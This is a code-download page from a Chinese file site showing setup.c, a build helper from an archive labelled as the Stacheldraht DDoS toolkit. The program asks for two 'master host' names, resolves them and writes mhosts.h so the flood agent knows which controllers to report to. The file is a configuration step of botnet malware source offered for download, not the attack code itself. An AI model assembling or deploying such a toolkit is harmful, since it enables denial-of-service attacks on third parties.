⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 setup.c

📁 攻防自卫 ddos stachel-yps.tar.gz
💻 C
字号:
/* creates mhosts.h for the server */#include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <time.h>#include <signal.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>unsigned long intlookup (char *hostname){  struct hostent *name;  unsigned long int address;  if ((address = inet_addr (hostname)) != -1)    return address;  if ((name = gethostbyname (hostname)) == NULL)    return 0;  memcpy (&address, name->h_addr, name->h_length);  return address;}int verror(char *et){    printf("ERROR: %s\n",et);    exit(0x1);}int main(int argc,char **argv) { char ipin[200]; int ip1,ip2; FILE *pwh; printf("-Pre-Compilation----------------------\n"); printf("enter the master host 1 : "); if(fgets(ipin,sizeof(ipin),stdin)==NULL)     verror("No Input"); ip1=lookup(ipin); if(ip1==0)     verror("cannot resolve Host"); printf("enter the master host 2 : "); if(fgets(ipin,sizeof(ipin),stdin)==NULL)     verror("No Input"); ip2=lookup(ipin); fflush(stdout); printf("--------------------------------------\n"); if((pwh=fopen("mhosts.h","w"))==NULL) {     printf("Cannot open mhosts.h, aborting\n");     exit(0x1); } fprintf(pwh,"/* master hosts */\n\n"); fprintf(pwh,"#define MSERVER1 %i\n#define MSERVER2 %i\n",ip1,ip2); fclose(pwh); printf("mhosts.h created..\n");       exit(0x0);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -